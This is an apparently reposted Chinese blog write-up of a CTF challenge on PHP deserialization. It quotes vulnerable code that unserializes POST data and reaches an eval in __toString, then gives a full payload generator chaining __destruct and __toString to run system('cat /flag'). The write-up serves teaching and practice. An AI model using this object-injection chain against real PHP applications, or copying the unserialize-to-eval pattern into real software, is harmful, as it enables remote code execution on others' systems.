文章总结: 本文分析PHP反序列化漏洞利用技巧,通过CTF例题演示如何组合destruct和toString方法实现代码执行。关键发现是当GIT类username为ZeroZone时输出password属性,若password为ZeroZone对象可触发其__toString中的eval函数。文章提供完整payload生成代码实现system命令执行,并给出防御建议。 综合评分: 84 文章分类: 漏洞分析,CTF,WEB安全,代码审计,红队
PHP反序列化__toString ()
原创
晨星安全团队 晨星安全团队
晨星安全团队
2026年4月6日 15:05 湖南
题目来源于青少年CTF练习平台——ez-ser
打开网页给出源码
class GIT {
public $username;
public $password;
public function __construct(){
$this -> username = ‘guest’;
$this -> password = ‘welcom to GITCTF!’;
}
//如果用户名为 ‘ZeroZone’;则输出密码;否则输出提示信息
public function __destruct(){
if($this -> username == ‘ZeroZone’){
echo $this -> password;
}
else{
echo ‘ZeroZone Lab new bee !’;
}
}
}
class ZeroZone{
public $code;
public function __toString(){
if(isset($this -> code)){
eval($this -> code);
return ”;
}
else{
echo “代码呢?”;
return ”;
}
}
}
//创建一个新的GIT类实例
$data = new GIT();
if(isset ($_POST[‘data’])){
$data = unserialize($_POST[‘data’]);
}
让$data->username == ‘ZeroZone’,并让 $data->password
由于__destruct()会输出$data->password,如果能让$data->password为一个ZeroZone对象,并且触发__toString(),就可以执行任意代码
<?php class GIT { public $username; public $password; } class ZeroZone { public $code; } //构造恶意对象链 $zero = new ZeroZone(); $zero -> code = “system(‘cat /flag’);”; $git = new GIT(); //触发密码输出条件 $git -> username = ‘ZeroZone’; //触发\_\_toString()方法 $git -> password = $zero; //生成payload echo serialize($git); ?>
-END-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:晨星安全团队 晨星安全团队 晨星安全团队《PHP反序列化__toString ()》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。



![[工具推荐]安全测试工具集Onyx](/images/random/titlepic/15.jpg)







评论